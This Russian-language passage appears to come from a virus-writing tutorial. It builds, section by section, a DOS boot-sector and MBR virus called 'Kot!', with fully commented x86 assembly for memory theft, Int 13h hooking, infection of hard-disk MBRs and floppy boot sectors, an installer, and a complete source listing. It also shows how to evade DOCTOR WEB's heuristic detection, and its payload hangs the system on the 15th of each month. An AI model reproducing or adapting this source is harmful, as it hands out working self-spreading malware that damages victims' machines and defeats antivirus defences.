Как
вы уже знаете,загрузочный вирус получает управление только при загрузке
операционной системы. Далее он должен " отрезать " у DOS несколько
килобайтов памяти и переписать свой код в полученную область. Для
выполнения этих функций можно предложить такой фрагмент :
my_prg:
xor ax,ax
;
mov
ss,ax
;
mov
sp,7bfeh
;Установка собс-
;твенного
стека push ax
;Сохраним в сте- push bx
;ке используемые push cx
;регистры push dx
;
push
si
;
push
ds
;
push
es
;
pushf
;
;
push
cs
;DS = CS
pop
ds
;
;
sub
word ptr ds:[0413h],2
;"Отрежем" у DOS
mov
ax,ds:[0413h]
;два килобайта
mov
cl,6
;памяти и вычис-
;лим
sal
ax,cl
;сегментный ад-
;рес,по
которому
;находится
полу-
;ченный
блок
mov
es,ax
;Поместим адрес
;в
ES
xor
si,si
;И скопируем код
mov
cx,prg_lenght
;вируса длиной
prg_copy: db 8ah
;"prg_lenght" в
db
9ch
;память по адре-
additor
db 00h
;су ES : 0000h
db
7ch
;Сам код при за-
mov
byte ptr es:[si],bl;грузке помещае-
inc
si
;тся BIOS по ад-
loop
cs:prg_copy
;ресу 0000:7C00h
;
push
ax
;Запишем в стек
mov
ax,to_read_boot
;адрес ES:to_re-
push
ax
;ad_boot и осу-
db
0cbh
;ществим переход
;на
этот адрес
Поскольку
операционная система к моменту начала выполнения этого фрагмента еще не
загружена, "увести" у вычислительной системы два килобайта памяти не
предсталяет никакого труда. Для этого просто следует уменьшить на два
число,расположенное в области данных BIOS по адресу : 0000:0413h
.Загрузившись, операционная система просто не будет замечать занятую
вирусом память. Даже такие программы, как RELEASE или Volkov Commander ( нажмите
ALT + + F5 ) не помогут обнаружить, где именно " притаился " вирус (
правда, это не так трудно рассчитать, но для рядового " юзера " такая
задача непосильна ) .
Машинный
код
db
8ah
;
db
9ch
;
additor
db 00h
;
db
7ch
;
является
кодом команды :
"
mov bl,byte ptr [si + 7C00h] " и модифицируется в зависимости от того, что
именно удалось заразить вирусу - если загрузка происходит с винчестера,то код
будет иметь вид :
db
8ah
;
db
9ch
;
additor
db 00h
;
db
7ch
;
а
если с дискеты :
db
8ah
;
db
9ch
;
additor
db 55h
;
db
7ch
;
Дело
в том, что в MBR жесткого диска тело вируса располагается по смещению 0000h от
начала сектора, а в BOOT - записи дискеты это же смещение равно 0055h ( см. п.
1.11 ).При заражении того или иного диска вирус определяет необходимое значение
поля " additor", которое потом будет записано в загрузочный сектор. Команда
" ret far " для краткости записана в виде машинного кода 0CBh.
Идея
установки собственного стека заимствована из настоящей MBR жесткого диска. Если
оставить стек " как есть ", то в некоторых случаях система будет зависать при
загрузке - проверено на практике !
1.7
Защита от антивирусных программ
В
настоящее время существует только одна распространенная антивирусная
программа, с которой следует считаться при разработке нового вируса . Это всем
известный DOCTOR WEB. Благодаря довольно совершенному алгоритму
эвристического анализа, DOCTOR WEB способен обнаружить новый вирус не только в
файлах, но и в загрузочных секторах гибких и жестких дисков компьютера. В
предыдущей главе мы рассмотрели, как можно скрыть присутствие вирусных
кодов в файлах и оперативной памяти ЭВМ. Теперь, вероятно, следует
рассказать, как решается задача маскировки загрузочного вируса.
После
нескольких дней экспериментов было установлено, что при поиске неизвестных
загрузочных вирусов DOCTOR WEB пытается определить факт перехвата
прерывания INT 13h,при этом антивирус даже не пробует пройти встроенным
отладчиком подозрительную BOOT или MBR. Если, по мнению программы, INT 13h было
перехвачено, выдается сообщение о возможном наличии в вашем компьютере
неизвестного загрузочного вируса. Отсюда следует очевидный вывод :
-
Команду, задающую адрес в таблице векторов прерываний или выполняющую
модификацию вектора INT 13h, следует зашифровать, и вирус найден не будет
!
Однако
сделать корректный шифровщик, хорошо работающий на любом процессоре, не так
просто. Поэтому задача была решена следующим образом :
mov
si,vvv - 100h
;
mov
word ptr es:[si],to_new_13h
;Установим
mov
word ptr es:[si + 2],cs
;вектор Int 13h
;на
вирусный об- ;работчик ;
Как
это ни странно, DOCTOR WEB "не догадался", что команда
mov
si,vvv - 100h
пересылает
в SI число 04Ch, имеющее прямое отношение к вектору прерывания Int 13h.
Проверка
приведенного метода на практике показала его пригодность.
1.8
Перехватываем Int 13h
Согласно
описанному выше алгоритму, настало время перехватить прерывание Int 13h.Наш
вирус будет использовать его для отслеживания операций с дискетами.
Итак :
to_read_boot equ $ - my_prg ;
;
read_boot:
push cs
;DS = CS
pop
ds
;
;
xor
si,si
;SI = 0
mov
es,si
;ES = SI
;Получим
вектор ;Int 13h и сох- ;раним его :
mov
bx,word ptr es:[4ch]
;
mov
word ptr old_13h - 100h,bx
;
mov
bx,word ptr es:[4eh]
;
mov
word ptr old_13h_2 - 100h,bx ;
;
mov
si,vvv - 100h
;
mov
word ptr es:[si],to_new_13h
;И установим
mov
word ptr es:[si + 2],cs
;вектор Int 13h
;на
вирусный об- ;работчик ;
Прерывание
здесь перехватывается путем непосредственной модификации вектора в таблице
векторов прерываний. Константа " to_read_boot " задает смещение от
начала вирусного кода до метки "read_boot", с которой и начинается
код,выполняющий переопределение вектора Int 13h на вирусный
обработчик.Дополнительных пояснений работа фрагмента не требует.
1.9
Читаем исходную BOOT - запись
Сначала
договоримся, где наш вирус будет хранить настоящую загрузочную запись ( BOOT -
для дискет или MBR - для жестких дисков ).
Обычно
на нулевой дорожке нулевой стороны винчестера используется только самый
первый сектор,а остальные свободны. Поэтому было бы естественно
сохранить MBR в одном из секторов нулевой дорожки.Нас заинтересовал сектор
с номером 12,но можно было бы взять и любой другой. Только не следует выбирать
сектора с очень большими номерами. Может случиться так, что, например сектора с
номером 100 на диске просто не существует ( особенно это относится к старым
накопителям ). Оптимальный номер - не выше двадцати.
Для
дискет оригинальную BOOT - запись лучше всего записывать в последний сектор
последней дорожки на первой стороне заражаемого диска .
Для
того, чтобы с зараженного диска можно было загрузиться, вирус должен
считать исходную загрузочную запись в память по адресу : 0000:7C00h и после
выполнения необходимых действий передать ей управление :
mov dx,num_head - 100h
;Считаем настоя-
mov cx,cyl_sect - 100h
;щий загрузочный
mov bx,7c00h
;сектор в память
mov ax,0201h
;по адресу
int 13h
;0000:7C00h
В
приведенном фрагменте задействованы ячейки памяти :
num_head dw 0
;Здесь вирус
cyl_sect dw 0
;хранит номер
;головки,дорожки
;и сектора зара- ;женного диска , ;в которых запи- ;сана настоящая ;загрузочная
;запись .
Несколько
позже мы разберемся,как определяются помещаемые в них значения.
1.10
Заражаем MBR винчестера
Следуя
алгоритму, настало время проверить, заражена - ли MBR первого жесткого
диска, и если нет - заразить ее. Поэтому приступим к делу :
push
cs
;ES = CS
pop
es
;
;
mov
dl,0080h
;Считаем MBR
call
cs:read_mbr
;винчестера
jc
cs:to_quit
;по адресу
;CS:0400h,
при- ;чем загрузка ;сейчас может ;производиться ;и с дискеты !
cmp
byte ptr ds:[400h],33h
;MBR уже зара-
je
cs:to_quit
;жена ?
;
mov
dx,0080h
;Нулевая головка
;первого
жестко- ;го диска
mov
cx,000ch
;Сектор 12,
;дорожка
0
mov
dl_save - 100h,dl ;
;Сохраним
эти ;параметры .
call
cs:write_mbr_last ;Кроме того, ;перепишем нас- ;тоящую MBR в ;сектор 12
jc
cs:to_quit
;нулевой дорожки
;на
нулевой сто-
;роне
HDD .
xor
si,si
;Сформируем код
mov
additor - 100h,00h ;для записи его
mov
cx,prg_lenght
;
copy_vir_mbr:
;на место исход-
mov
al,byte ptr ds:[si];ной MBR
mov
byte ptr ds:[si + 400h],al
;
inc
si
;
loop
cs:copy_vir_mbr ;
;
mov
dx,0080h
;Запишем этот
call
cs:write_mbr
;код в первый
;сектор
нулевой
;дорожки
нулевой
;стороны
винчес-
;тера
to_quit: mov ah,04h
;Наш
int
1ah
;вирус при
jc
cs:bad_clock
;загрузке по
cmp
dl,15h
;15 - м числам
vis:
je cs:vis
;вешает систему
bad_clock:
popf
;Восстановим из
pop
es
;стека
pop
ds
;регистры
pop
si
;
pop
dx
;
pop
cx
;
pop
bx
;
pop
ax
;
;
db 0eah
;И отдадим упра-
dw 7c00h
;вление настоя-
dw 0000h
;щей загрузочной
;записи
( MBR )
Как
вы видите, вирус достаточно свободно " чувствует " себя в памяти. В самом
деле - свой код он записывает в младшие 512 байт первого " отрезанного " у
DOS килобайта, а MBR винчестера считывает в младшие 512 байт второго килобайта.
Так сделано для большей понятности программы и облегчения программирования,
но один килобайт памяти фактически тратится впустую ( что с некоторой натяжкой
можно отнести к вредным действиям нашего вируса ).
Процедура
" read_mbr " читает сектор 1 дорожки 0 на нулевой стороне указанного диска.
Процедура
" write_mbr " записывает данные из буфера по адресу : CS:0400h в сектор 1
дорожки 0 на нулевой стороне указанного диска.
Процедура
" write_mbr_last " записывает данные из буфера по адресу : CS:0400h в заданный
сектор того или иного диска и заполняет ячейки памяти :
num_head
и
cyl_sect.
Для
проверки зараженности MBR вирус сравнивает
ее
первый
байт с первым байтом своего кода - числом
33h.
Далее,
в поле " additor " заносится число 00h,
необходимое
для корректной загрузки с
винчестера.
Стоит
отметить, что заражение MBR происходит исключительно при загрузке с
зараженной дискеты. Когда операционная система будет загружена,вирус
будет инфицировать только гибкие диски при попытке прочитать их
содержимое.А поскольку никому не придет в голову менять жесткие диски во
включенной в сеть и работающей машине, нет смысла предусматривать заражение
MBR в резидентном режиме. Если же попробовать проделать вышеописанную процедуру,
то компьютер с высокой вероятностью выйдет из строя,и вирус " погибнет " вместе
с ним.
1.11
Пишем обработчик прерывания Int 13h
Наконец
все подготовительные действия завершены, и мы можем заняться разработкой
вирусного обработчика прерывания Int 13h. Именно этот обработчик
должен отслеживать операции с гибкими дисками и при необходимости заражать
их.
Начнем
с выяснения условий, при которых вирус должен будет заразить BOOT - сектор
дискеты.Пусть заражение будет выполняться в том случае,если происходит
чтение любого сектора нулевой дорожки нулевой стороны, кроме первого.Исходя
из этого, можно записать :
;Далее
следует ;вирусный обра- ;ботчик Int 13h
to_new_13h
equ $ - my_prg
;
;
new_13h: pushf
;Сохраним флаги
cmp
dl,01h
;Операция с дис-
;ководом
" A " ;или " B " ?
ja
cs:to_sys_13h
;Нет !
cmp
ah,02h
;Чтение ?
jne
cs:to_sys_13h
;Нет !
cmp
ch,00h
;Дорожка " 0 " ?
jne
cs:to_sys_13h
;Нет !
cmp
cl,01h
;Сектор-первый ?
je
cs:to_sys_13h
;Да !
call
cs:boot_infect
;Вызовем проце-
;дуру
заражения ;BOOT - секторов ;дискет
to_sys_13h:
;
popf
;Восстановим
;флаги
db
0eah
;Перейдем к сис-
old_13h
dw 0
;темному обра-
old_13h_2 dw 0
;ботчику Int 13h
Обратите
внимание, что при чтении секторов 2...N нулевой дорожки нулевой стороны дискеты
управление передается процедуре " boot_infect ", которая занимается
заражением гибких дисков. Если бы заражение происходило при чтении любого
сектора,то на зараженной машине все операции с дисководом выполнялись бы
раздражающе медленно.
Для
передачи управления системному обработчику Int 13h используется обычная команда
далекого перехода, записанная в виде машинной инструкции.
Теперь
разработаем процедуру " boot_infect ",заражающую дискеты. Естественно
сделать ее по аналогии с фрагментом, который " работает " с винчестером .
Поэтому :
boot_infect
proc
;
push
ax
;Сохраним реги-
push
bx
;стры в стеке
push
cx
;прерванного
push
dx
;процесса
push
di
;
push
ds
;
push
es
;
pushf
;
;
push
cs
;ES = CS
pop
es
;
;
push
cs
;DS = CS
pop
ds
;
;
mov
cx,3
;Попробуем про-
next_read:
push cx
;честь BOOT -
;сектор
дискеты. call cs:read_mbr ;На это даем три pop cx ;попытки (напри- jnc
cs:inf_check ;мер,если двига-
;тель
дисковода
;не
успел разо-
;гнаться
до ра-
;бочей
скорости,
;то
BIOS вернет
;ошибку
-дискета
;сменена
! )
xor
ah,ah
;При ошибке -
pushf
;сбросим текущий
call
dword ptr old_13h - 100h
;дисковод
jc
cs:to_jump
;и повторим
loop
cs:next_read
;чтение
to_jump: jmp cs:restore_regs
;
;BOOT
- сектор
;заражен
? inf_check: cmp byte ptr ds:[455h],33h
je
cs:to_jump
;Да !
cmp
word ptr ds:[40bh],200h
;512 байт в
;секторе
?
jne
cs:to_jump
;Нет !
;
mov
dl_save - 100h,dl
mov
ch,79
;Определим
mov
dh,byte ptr ds:[415h]
cmp
dh,0f0h
;параметры
je
cs:real_80
;дискеты
cmp
dh,0f9h
;по ее
je
cs:real_80
;Media
cmp
dh,0fdh
;Descryptor
jne
cs:to_jump
;
mov
ch,39
;
real_80: mov dh,01h
;
mov
cl,byte ptr ds:[418h]
;Перепишем
нас-
;тоящий
BOOT в
;последний
сек-
;тор
последней
;дорожки
на пос-
;ледней
стороне xor dl,dl
; call cs:write_mbr_last ;
jc
cs:to_jump
;
;
mov
additor - 100h,055h;Сформируем код,
xor
di,di
;который нужно
mov
cx,prg_lenght
;записать на
copy_vir: mov al,byte ptr ds:[di];дискету
вместо
mov
byte ptr ds:[di + 455h],al
;исходной BOOT -
inc
di
;записи
loop
cs:copy_vir
;
mov
word ptr ds:[400h],053ebh
;
;
xor
dh,dh
;И запишем его
call
cs:write_mbr
;в первый
;сектор
нулевой
;дорожки
нулевой
;стороны
дискеты
;
restore_regs:
;Восстановим из
popf
;стека регистры
pop
es
;
pop
ds
;
pop
di
;
pop
dx
;
pop
cx
;
pop
bx
;
pop
ax
;
ret
;Выйдем из про-
;цедуры
boot_infect endp
;
Как
вы успели заметить,текст процедуры очень похож на текст фрагмента, который будет
заражать жесткий диск. Небольшие отличия связаны со спецификой работы
дисковода и винчестера. Дело в том, что жесткий диск вращается непрерывно
(за исключением некоторых новых систем с режимом экономии
электроэнергии), а двигатель дисковода запускается только при закрытии его
флажка (если быть точным,это зависит от конструкции дисковода.)
Поэтому,если двигатель дисковода к моменту выполнения операции чтения не
набрал необходимую скорость, BIOS вернет ошибку и сообщит, что дискета
сменена.В этом случае рекомендуется повторить чтение, предварительно
сбросив накопитель. Наш вирус повторяет попытку чтения три раза, после чего
в случае неудачи отказывается от заражения такого диска.
Несколько
раньше мы выяснили, что для разных версий MS DOS и WINDOWS программа
начальной загрузки в BOOT - секторе дискеты располагается по разным смещениям.
Сделано это по той причине, что старшие версии операционной системы хранят в
загрузочном секторе более подробные сведения о диске. Наибольшим
смещением,с которым вы когда - либо можете встретиться, является 0055h.
Поэтому наш вирус будет помещать в BOOT - сектор свой код,ориентируясь
именно на приведенное значение. Тогда в первые два байта сектора должна быть
записана команда перехода на начало этого кода, а именно : " EB 53 ".
Формат BOOT - сектора приведен в ПРИЛОЖЕНИИ 2.
И
последнее - вирус определяет параметры заражаемой дискеты исходя из ее
Media Descryptor. Сам Descryptor содержится в BOOT - секторе любой дискеты
и вместе с некоторыми другими параметрами однозначно задает ее
тип.Интерпретация различных дескрипторов приведена в конце ПРИЛОЖЕНИЯ
2.
1.12
Используемые процедуры
Фактически
вирус уже изготовлен.Осталось лишь привести тексты процедур, которые он
будет использовать в своей работе :
read_mbr proc
;
xor
dh,dh
;
mov
ax,0201h
;Процедура
mov
bx,400h
;читает первый
mov
cx,01h
;сектор нулевой
pushf
;дорожки нулевой
call
dword ptr old_13h - 100h
;стороны указан-
ret
;ного накопителя
read_mbr endp
;
;
write_mbr
proc
;
mov
ax,0301h
;Процедура
mov
cx,01h
;помещает вирус-
pushf
;ный код в BOOT-
call
dword ptr old_13h - 100h
;сектор дискеты
ret
;или записывает
write_mbr endp
;его вместо MBR
;винчестера
;
write_mbr_last
proc
;Процедура
;переписывает
;исходную BOOT- ;запись или MBR
mov
num_head - 100h,dx ;в заданный
mov
cyl_sect - 100h,cx ;сектор
mov
dl,dl_save - 100h ;заражаемого ;диска
mov
ax,0301h
;
pushf
;
call
dword ptr old_13h - 100h
;
ret
;
write_mbr_last
endp
;
Процедуры
построены очень просто, и объяснять их работу, скорее всего, нет смысла. Отметим
только, что все вызовы Int 13h оформлены в виде вызова дальней процедуры.
Это необходимо для предотвращения потенциальных " глюков ", связанных с
нереентерабельностью программ,выполняющих обработку Int 13h. Хотя такой
метод несколько увеличивает размер вирусного кода.
1.13
Область данных вируса
В
отличие от предыдущих программ, область данных написанного нами загрузочного
вируса имеет на удивление простую структуру :
;
db 'Kot!'
;Название вируса
dl_save
db 0
;Ячейка для вре-
;менного
хране- ;ния регистра DL ;( он задает ;номер накопите- ;ля )
num_head dw 0
;Здесь вирус
cyl_sect dw 0
;хранит номер
;головки,дорожки
;и сектора зара- ;женного диска , ;на которых за- ;писана настоя- ;щая
загрузочная ;запись
vvv
dw 004ch
;Смещение к век-
;тору
Int 13h ;Длина вирусного ;кода :
prg_lenght equ $ - my_prg
Вы
можете спросить,почему для имени вируса отведено всего четыре байта.Дело в
том,что наш вирус получился довольно большим (421 байт - можете
проверить !). Несколько раньше мы выяснили, что этот размер не может быть
больше, чем 425 байт. А 425 - 421 как раз равно четырем ...
1.14
Пишем секцию инсталляции
Очевидно,
в таком виде, в каком сейчас существует наш вирус, его довольно трудно внедрить
в систему. Поэтому для облегчения этой "вредительской" операции напишем
специальный инсталлятор. Его функция состоит в следующем : при старте
запускающей программы из командной строки или из - под оболочки заразить
диск в дисководе " A ".Причем диск совсем не обязательно должен быть
загрузочным. Далее с этого диска нужно загрузиться на той машине, которую
требуется заразить. При этом вирус заразит MBR ее жесткого диска. Теперь, после
загрузки с винчестера, вирус будет инфицировать все читаемые на зараженной
машине дискеты и начнет распространяться.
Исходя
из сказанного выше, можно предложить такое решение :
installer:
lea si,my_prg
;Подменим коман-
mov
byte ptr [si],33h ;ду перехода на mov byte ptr [si + 1],0c0h ;первые три
бай-
mov
byte ptr [si + 2],8eh
;та кода вируса
;Попробуем
про-
;честь
BOOT -
;сектор
дискеты. mov ax,0201h
;
mov
cx,01h
;
xor
dx,dx
;
lea
bx,bufer
;
int
13h
;
jc
error
;
;
push
es
;Получим пара-
mov
ah,08h
;метры дискеты
xor
dl,dl
;
int
13h
;
jnc
all_good
;
cmp
ah,01h
;
jne
error
;
mov
dh,01h
;
mov
ch,27h
;
mov
cl,byte ptr bufer [18h]
;
all_good: xor dl,dl
;
mov
num_head,dx
;
mov
cyl_sect,cx
;
pop
es
;
;Перепишем
нас-
;тоящий
BOOT в
;последний
сек-
;тор
последней
;дорожки
на пос-
;ледней
стороне mov ax,0301h
;
lea
bx,bufer
;
int
13h
;
jc
error
;
;Сформируем
код,
;который
нужно
;записать
на
;дискету
вместо
;исходной
BOOT -
;записи
mov
additor,055h
;
lea
si,bufer + 55h
;
lea
di,my_prg
;
mov
cx,prg_lenght
;
copy_boot:
mov al,byte ptr [di] ;
mov
byte ptr [si],al ;
inc
si
;
inc
di
;
loop
copy_boot
;
mov
word ptr bufer[0],053ebh
;
;И
запишем его
;в
первый
;сектор
нулевой
;дорожки
нулевой
;стороны
дискеты mov ax,0301h
;
mov cx,01h
;
mov dx,0
;
lea bx,bufer
;
int 13h
;
jnc prg_end
;
;
error:
mov ah,09h
;Если была оши-
lea
dx,err_mes
;бка - выведем
int
21h
;сообщение о ней
;
prg_end: mov ax,4c00h
;Завершаем за-
int
21h
;пускающую про-
;грамму
err_mes
db 'Error !$'
;Сообщение
bufer
db 512 dup ( 0 )
;В этот буфер
;считывается
;BOOT
- сектор
;заражаемой
;дискеты
prg
ends
;
end
my_prg
;
Если
вирусу не удалось заразить диск, то выдается сообщение " ERROR ! ". В этом
случае попытку заражения просто нужно повторить.
И
еще - если вы хотите узнать, зачем понадобились первые четыре команды
инсталлятора, вам следует посмотреть приводимый ниже полный текст вирусной
программы. Обратите внимание на первую команду, а именно : " jmp installer
".Инсталлятор замещает ее кодом, устанавливающим собственный стек вируса, и
поэтому в заражаемые сектора эта команда не попадет.
1.15
Текст загрузочного вируса
Ниже
представлен текст предлагаемого загрузочного вируса :
;
_______________________________________________ ;|
|
;| BOOT & MBR virus
| ;| Especially for my readers !
| ;|_______________________________________________|
prg
segment
assume
cs:prg,ds:prg,es:prg,ss:prg
org
100h
my_prg:
jmp installer
;
db
0d0h
;
mov
sp,7bfeh
;Установка собс-
;твенного
стека push ax
;Сохраним в сте- push bx
;ке используемые push cx
;регистры push dx
;
push
si
;
push
ds
;
push
es
;
pushf
;
;
push
cs
;DS = CS
pop
ds
;
;
sub
word ptr ds:[0413h],2
;"Отрежем" у DOS
mov
ax,ds:[0413h]
;два килобайта
mov
cl,6
;памяти и вычис-
;лим
sal
ax,cl
;сегментный ад-
;рес,по
которому
;находится
полу-
;ченный
блок
mov
es,ax
;Поместим адрес
;в
ES
xor
si,si
;И скопируем код
mov
cx,prg_lenght
;вируса длиной
prg_copy: db 8ah
;"prg_lenght" в
db
9ch
;память по адре-
additor
db 00h
;су ES : 0000h
db
7ch
;Сам код при за-
mov
byte ptr es:[si],bl;грузке помещае-
inc
si
;тся BIOS по ад-
loop
cs:prg_copy
;ресу 0000:7C00h
;
push
ax
;Запишем в стек
mov
ax,to_read_boot
;адрес ES:to_re-
push
ax
;ad_boot и осу-
db
0cbh
;ществим переход
;на
этот адрес to_read_boot
equ $ - my_prg ;
;
read_boot:
push cs
;DS = CS
pop
ds
;
;
xor
si,si
;SI = 0
mov
es,si
;ES = SI
;Получим
вектор
;Int
13h и сох-
;раним
его :
mov
bx,word ptr es:[4ch]
;
mov
word ptr old_13h - 100h,bx
;
mov
bx,word ptr es:[4eh]
;
mov
word ptr old_13h_2 - 100h,bx ;
;
mov
si,vvv - 100h
;
mov
word ptr es:[si],to_new_13h
;И установим
mov
word ptr es:[si + 2],cs
;вектор Int 13h
;на
вирусный об-
;работчик
;
mov dx,num_head - 100h
;Считаем настоя-
mov cx,cyl_sect - 100h
;щий загрузочный
mov bx,7c00h
;сектор в память
mov ax,0201h
;по адресу
int 13h
;0000:7C00h
push
cs
;ES = CS
pop
es
;
;
mov
dl,0080h
;Считаем MBR
call
cs:read_mbr
;винчестера
jc
cs:to_quit
;по адресу
;CS:0400h,
при-
;чем
загрузка
;сейчас
может
;производиться
;и
с дискеты ! cmp byte ptr ds:[400h],33h ;MBR уже зара-
je
cs:to_quit
;жена ?
;
mov
dx,0080h
;Нулевая головка
;первого
жестко-
;го
диска
mov
cx,000ch
;Сектор 12,
;дорожка
0
mov
dl_save - 100h,dl ;
;Сохраним
эти
;параметры
.
call
cs:write_mbr_last ;Кроме того,
;перепишем
нас-
;тоящую
MBR в
;сектор
12
jc
cs:to_quit
;нулевой дорожки
;на
нулевой сто-
;роне
HDD .
xor
si,si
;Сформируем код
mov
additor - 100h,00h ;для записи его
mov
cx,prg_lenght
;
copy_vir_mbr:
;на место исход-
mov
al,byte ptr ds:[si];ной MBR
mov
byte ptr ds:[si + 400h],al
;
inc
si
;
loop
cs:copy_vir_mbr ;
;
mov
dx,0080h
;Запишем этот
call
cs:write_mbr
;код в первый
;сектор
нулевой
;дорожки
нулевой
;стороны
винчес-
;тера
to_quit: mov ah,04h
;Наш
int
1ah
;вирус при
jc
cs:bad_clock
;загрузке по
cmp
dl,15h
;15 - м числам
vis:
je cs:vis
;вешает систему
bad_clock:
popf
;Восстановим из
pop
es
;стека
pop
ds
;регистры
pop
si
;
pop
dx
;
pop
cx
;
pop
bx
;
pop
ax
;
;
db 0eah
;И отдадим упра-
dw 7c00h
;вление настоя-
dw 0000h
;щей загрузочной
;записи
( MBR )
;Далее
следует
;вирусный
обра-
;ботчик
Int 13h to_new_13h equ $ -
my_prg
;
;
new_13h: pushf
;Сохраним флаги
cmp
dl,01h
;Операция с дис-
;ководом
" A "
;или
" B " ?
ja
cs:to_sys_13h
;Нет !
cmp
ah,02h
;Чтение ?
jne
cs:to_sys_13h
;Нет !
cmp
ch,00h
;Дорожка " 0 " ?
jne
cs:to_sys_13h
;Нет !
cmp
cl,01h
;Сектор-первый ?
je
cs:to_sys_13h
;Да !
call
cs:boot_infect
;Вызовем проце-
;дуру
заражения
;BOOT
- секторов
;дискет
to_sys_13h:
;
popf
;Восстановим
;флаги
db
0eah
;Перейдем к сис-
old_13h
dw 0
;темному обра-
old_13h_2 dw 0
;ботчику Int 13h
boot_infect
proc
;
push
ax
;Сохраним реги-
push
bx
;стры в стеке
push
cx
;прерванного
push
dx
;процесса
push
di
;
push
ds
;
push
es
;
pushf
;
;
push
cs
;ES = CS
pop
es
;
;
push
cs
;DS = CS
pop
ds
;
;
mov
cx,3
;Попробуем про-
next_read:
push cx
;честь BOOT -
;сектор
дискеты. call cs:read_mbr ;На это даем три pop cx ;попытки (напри- jnc
cs:inf_check ;мер,если двига-
;тель
дисковода
;не
успел разо-
;гнаться
до ра-
;бочей
скорости,
;то
BIOS вернет
;ошибку
-дискета
;сменена
! )
xor
ah,ah
;При ошибке -
pushf
;сбросим текущий
call
dword ptr old_13h - 100h
;дисковод
jc
cs:to_jump
;и повторим
loop
cs:next_read
;чтение
to_jump: jmp cs:restore_regs
;
;BOOT
- сектор
;заражен
? inf_check: cmp byte ptr ds:[455h],33h
je
cs:to_jump
;Да !
cmp
word ptr ds:[40bh],200h
;512 байт в
;секторе
?
jne
cs:to_jump
;Нет !
;
mov
dl_save - 100h,dl
mov
ch,79
;Определим
mov
dh,byte ptr ds:[415h]
cmp
dh,0f0h
;параметры
je
cs:real_80
;дискеты
cmp
dh,0f9h
;по ее
je
cs:real_80
;Media
cmp
dh,0fdh
;Descryptor
jne
cs:to_jump
;
mov
ch,39
;
real_80: mov dh,01h
;
mov
cl,byte ptr ds:[418h]
;Перепишем
нас-
;тоящий
BOOT в
;последний
сек-
;тор
последней
;дорожки
на пос-
;ледней
стороне xor dl,dl
; call cs:write_mbr_last ;
jc
cs:to_jump
;
;
mov
additor - 100h,055h;Сформируем код,
xor
di,di
;который нужно
mov
cx,prg_lenght
;записать на
copy_vir: mov al,byte ptr ds:[di];дискету
вместо
mov
byte ptr ds:[di + 455h],al
;исходной BOOT -
inc
di
;записи
loop
cs:copy_vir
;
mov
word ptr ds:[400h],053ebh
;
;
xor
dh,dh
;И запишем его
call
cs:write_mbr
;в первый
;сектор
нулевой
;дорожки
нулевой
;стороны
дискеты
;
restore_regs:
;Восстановим из
popf
;стека регистры
pop
es
;
pop
ds
;
pop
di
;
pop
dx
;
pop
cx
;
pop
bx
;
pop
ax
;
ret
;Выйдем из про-
;цедуры
boot_infect endp
;
read_mbr proc
;
xor
dh,dh
;
mov
ax,0201h
;Процедура
mov
bx,400h
;читает первый
mov
cx,01h
;сектор нулевой
pushf
;дорожки нулевой
call
dword ptr old_13h - 100h
;стороны указан-
ret
;ного накопителя
read_mbr endp
;
;
write_mbr
proc
;
mov
ax,0301h
;Процедура
mov
cx,01h
;помещает вирус-
pushf
;ный код в BOOT-
call
dword ptr old_13h - 100h
;сектор дискеты
ret
;или записывает
write_mbr endp
;его вместо MBR
;винчестера
;
write_mbr_last
proc
;Процедура
;переписывает
;исходную
BOOT-
;запись
или MBR mov num_head - 100h,dx ;в заданный mov cyl_sect - 100h,cx ;сектор зара-
mov dl,dl_save - 100h ;жаемого
;диска
mov
ax,0301h
;
pushf
;
call
dword ptr old_13h - 100h
;
ret
;
write_mbr_last
endp
;
db 'Kot!'
;Название вируса
dl_save
db 0
;Ячейка для вре-
;менного
хране-
;ния
регистра DL
;(
Он задает
;номер
;накопителя
) num_head dw 0
;Здесь вирус cyl_sect
dw 0
;хранит номер
;головки,дорожки
;и
сектора , в
;которых
запи-
;сана
настоящая
;загрузочная
;запись
;зараженного
;диска
vvv
dw 004ch
;Смещение к век-
;тору
Int 13h
;Длина
вирусного
;кода
: prg_lenght equ $ - my_prg
installer:
lea si,my_prg
;Подменим коман-
mov
byte ptr [si],33h ;ду перехода на mov byte ptr [si + 1],0c0h ;первые три
бай-
mov
byte ptr [si + 2],8eh
;та кода вируса
;Попробуем
про-
;честь
;BOOT
-
;сектор
дискеты. mov ax,0201h
;
mov
cx,01h
;
xor
dx,dx
;
lea
bx,bufer
;
int
13h
;
jc
error
;
;
push
es
;Получим пара-
mov
ah,08h
;метры дискеты
xor
dl,dl
;
int
13h
;
jnc
all_good
;
cmp
ah,01h
;
jne
error
;
mov
dh,01h
;
mov
ch,27h
;
mov
cl,byte ptr bufer [18h]
;
all_good: xor dl,dl
;
mov
num_head,dx
;
mov
cyl_sect,cx
;
pop
es
;
;Перепишем
нас-
;тоящий
BOOT в
;последний
сек-
;тор
последней
;дорожки
на пос-
;ледней
стороне mov ax,0301h
;
lea
bx,bufer
;
int
13h
;
jc
error
;
;Сформируем
код,
;который
нужно
;записать
на
;дискету
вместо
;исходной
BOOT -
;записи
mov
additor,055h
;
lea
si,bufer + 55h
;
lea
di,my_prg
;
mov
cx,prg_lenght
;
copy_boot:
mov al,byte ptr [di] ;
mov
byte ptr [si],al ;
inc
si
;
inc
di
;
loop
copy_boot
;
mov
word ptr bufer[0],053ebh
;
;И
запишем его
;в
первый
;сектор
нулевой
;дорожки
нулевой
;стороны
дискеты mov ax,0301h
;
mov cx,01h
;
mov dx,0
;
lea bx,bufer
;
int 13h
;
jnc prg_end
;
;
error:
mov ah,09h
;Если была оши-
lea
dx,err_mes
;бка - выведем
int
21h
;сообщение о ней
;
prg_end: mov ax,4c00h
;Завершаем за-
int
21h
;пускающую про-
;грамму
err_mes
db 'Error !$'
;Сообщение
bufer
db 512 dup ( 0 )
;В этот буфер
;считывается
;BOOT
- сектор
;заражаемой
;дискеты
prg
ends
;Стандартное
end
my_prg
;окончание ASM-
;программы
...
1.16
Комментарии
Вирус,который
мы разработали в этой главе, заражает BOOT - сектора дискет и MBR жесткого
диска. Как вы убедились, написать загрузочный вирус совсем несложно - гораздо
легче,чем, скажем, файловый.Тем не менее я настоятельно рекомендую читателям
попробовать " поймать " один из существующих загрузочных вирусов и
исследовать его работу. Для начинающих можно порекомендовать FORM или
KONSTANTIN . Если же вы достаточно опытный вирусолог, то можете помериться
силами с ONEHALF или другим шифрованным вирусом. Правда учтите, что
экспериментировать с чужими вирусными программами надо осторожно -
некоторые из них при трассировке вирусного кода могут испортить "
винчестер " вашего компьютера.
1.17
Испытание вируса
Для
